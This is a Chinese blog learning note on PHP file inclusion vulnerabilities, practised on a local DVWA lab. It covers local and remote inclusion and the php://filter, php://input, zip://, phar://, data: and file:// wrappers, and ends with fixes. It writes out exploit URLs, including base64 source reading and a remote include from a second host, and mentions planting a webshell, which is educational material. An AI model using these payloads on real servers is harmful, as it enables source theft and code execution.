首页 > 其他分享 >文件包含学习笔记

文件包含学习笔记

时间:2023-01-01 20:34:35浏览次数:38  
标签:文件 include 包含 url 笔记 allow php

文件包含原理


include() include_once() require() require_once() include()和require()的区别:
require()如果在包含过程中出错,就会直接退出,不执行后续语句
include()如果在包含过程中出错,只会提出警告,但不影响后续语句的执行index.php?file=php://filter/read=convert.base64-encode/resource=xxx.php

0x01、什么是文件包含?**

为了更好地使用代码的重用性,引入了文件包含函数,通过文件包含函数将文件包含进来,直接使用包含文件的代码,简单点来说就是一个文件里面包含另外一个或多个文件。

0x02、漏洞成因**

文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。

0x03、php引发文件包含漏洞的四个函数**

  1. include() :使用此函数,只有代码执行到此函数时才将文件包含进来,发生错误时只警告并继续执行。
  2. inclue_once() :功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。
  3. require():使用此函数,只要程序执行,立即调用此函数包含文件,发生错误时,会输出错误信息并立即终止程序。
  4. require_once() :功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。

0x04、文件包含漏洞分类

4.1、本地文件包含漏洞
顾名思义,指的是能打开并包含本地文件的漏洞。大多数情况下遇到的文件包含漏洞都是本地文件包含漏洞。

示例4.1:
以DVWA的靶场环境为例,靶场地址:http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file1.php

image.png

把DVWA Security的等级调到Low,在DVWA\vulnerabilities\fi\source\Low.php中有以下代码

在DVWA\vulnerabilities\fi\source\index.php中Low.php又被包含在其中,这就构成了文件包含漏洞,而且被包含的文件还是我们可控的。

在file1同级目录下新建一个名为test.txt的文本文件,内容如下:

访问http://127.0.0.1/DVWA/vulnerabilities/fi/?page=test.txt

image.png

文件包含可以包含任意文件,如图片,文本文件,压缩包等等,如果文件中有服务器能识别的脚本语言,就按照当前脚本语言执行,否则就直接显示出源代码。

4.2、远程文件包含漏洞

是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在,危害性会很大。

但远程文件包含漏洞的利用条件较为苛刻,需要php.ini中配置
allow_url_fopen=On
allow_url_include=On

示例4.2:
先打开目标服务器的php.ini文件进行以下相关设置,然后重启服务器

image.png

之后在本地新建文件test2.txt,文件内容为:
目标服务器ip:192.168.1.114
本机ip:192.168.1.106
访问http://192.168.1.114/DVWA/vulnerabilities/fi/?page=http://192.168.1.106/test2.txt

image.png

0x05、文件包含漏洞之伪协议**

5.1、php://filter
利用条件:
只是读取,所以只需要开启allow_url_fopen,对allow_url_include不做要求
用法:
通过指定末尾文件,可以读取经base64加密后的文件源码,虽然不能直接获取shell等,但能够读取敏感文件,危害还是是挺大的。

示例5.1:
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=test.txt
image.png

5.2、php://input
可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行
利用条件:
需要开启allow_url_include=on,对allow_url_fopen不做要求
用法:?file=php://input 数据利用POST传过去。

示例5.2:
image.png

也可以写入木马
image.png

还可以命令执行
image.png

5.3、zip://伪协议
zip://可以访问压缩文件中的文件
条件: 使用zip协议,需要将#编码为%23,所以需要PHP 的版本> =5.3.0,要是因为版本的问题无法将#编码成%23,可以手动把#改成%23。
用法:?file=zip://[压缩文件路径]#[压缩文件内的子文件名]

示例5.3:
在本地新建一个文件test.php,并且压缩成test.zip压缩包
image.png
要是把压缩包的后缀改为其他任意格式的文件也可以正常使用。

5.4、phar://伪协议
与zip://协议类似,但用法不同,zip://伪协议中是用#把压缩文件路径和压缩文件的子文件名隔开,而phar://伪协议中是用/把压缩文件路径和压缩文件的子文件名隔开,即?file=phar://[压缩文件路径]/[压缩文件内的子文件名]

示例5.4:
image.png

5.5、data:text/plain
和php伪协议的input类似,也可以执行任意代码,但利用条件和用法不同
条件:allow_url_fopen参数与allow_url_include都需开启
用法1:?file=data:text/plain,
用法2:?file=data:text/plain;base64,编码后的php代码

示例5.5:
image.png
image.png
注:经base64编码后的加号和等号要手动的url编码,以免浏览器识别不了

5.6、file://伪协议
file:// 用于访问本地文件系统,且不受allow_url_fopen与allow_url_include的影响。
用法:?file=file://文件绝对路径

示例5.6
image.png

0x06、修复方案

1、PHP 中使用 open_basedir 配置限制访问在指定的区域
2、过滤.(点)/(反斜杠)\(反斜杠)等特殊字符
3、尽量关闭allow_url_include配置

0x07、总结

关于文件包含的内容,目前小白也就只能总结出这些了,总之收获不菲,感觉很有用。
点击收藏 | 2关注 | 1

image

2023-01-01 18:19:36 星期日

标签:文件,include,包含,url,笔记,allow,php
From: https://www.cnblogs.com/ying007/p/17018541.html

相关文章

  • putty中pscp命令实现windows和linux中文件的互传
     001、pscp命令的目录,在安装putty的目录,如下图:  002、在pscp目录下打开cmd命令:鼠标放置任意空白处,按住shift键,然后鼠标右击弹出对话框,选择在此处打开powershell选......
  • AC自动机学习笔记
    一句话概括:\(AC\)自动机\(=Trie+Kmp\)算法复习\(Trie\)字典树,顾名思义,是一个字典一样的树,结构非常简单,不再赘述。codeintson[N][26],cnt[N],idx;voidinser......
  • 2-SAT学习笔记
    \(SAT:satisfaction\)\(SAT\)问题:若干问题\(x_1,x_2,...,x_n\),另有\(m\)个需要满足条件,其中每个命题为真或假,求\(x_1,x_2,...,x_n\)的一种取值。一般\(k-SAT\)问......
  • 狂神说Java(零基础)预科班笔记
    前言​以下笔记是根据B站up主遇见狂神说的Java零基础学习视频整理而成,视频链接点这里跳转(狂神说系列Java零基础版)。由于本人推崇费曼学习法,不想要写完一篇笔记之后就直......
  • 动手深度学习系列笔记
    动手学深度学习在线课程此系列文章为听课所敲代码+笔记,使用jupyternotebook展现目录​​3月20日​​​​3月21日​​​​3月27日​​​​3月28日​​​​4月10日​​​​4......
  • 操作系统OS笔记目录(清华大学)
    简介不得不说想自学学操作系统,清华大学慕课是个不错的选择,但难度比较大,特别是想把慕课的实验部分内容也完成的话。不过如果能把它的实验部分也完成的话,相信你会对操作系统......
  • yarn : 无法加载文件 D:\NodePages\yarn.ps1,因为在此系统上禁止运行脚本。有关详
    PSD:\>get-ExecutionPolicyRestrictedPSD:\>set-ExecutionPolicy位于命令管道位置1的cmdletSet-ExecutionPolicy请为以下参数提供值:ExecutionPolicy:RemoteSig......
  • 宏碁-A515-51G-51D3 电脑 Hackintosh 黑苹果efi引导文件
    硬件型号驱动情况主板宏碁-A515-51G-51D3处理器i5-8250U已驱动内存8GbDDR4已驱动硬盘SSDM21TBWD730SNWESTERNDIGITAL已驱动显卡IntelUHDGraphics620已驱动声卡Real......
  • 文件的权限和属性
    权限拥有者rwx同组其它用户其它用户chmod改变文件的权限数字方式777+-x或者a+-x常见没有权限问题,原因就是没有对应的权限chown改变文件所有者chgrp改......
  • 《C++ —— 笔记》
      this指针在C++中成员变量和成员函数是分开存储的。每一个非静态成员函数只会诞生一份函数实例,也就是说多个同类型的对象会共用一块代码。那么问题是:这一块代码是......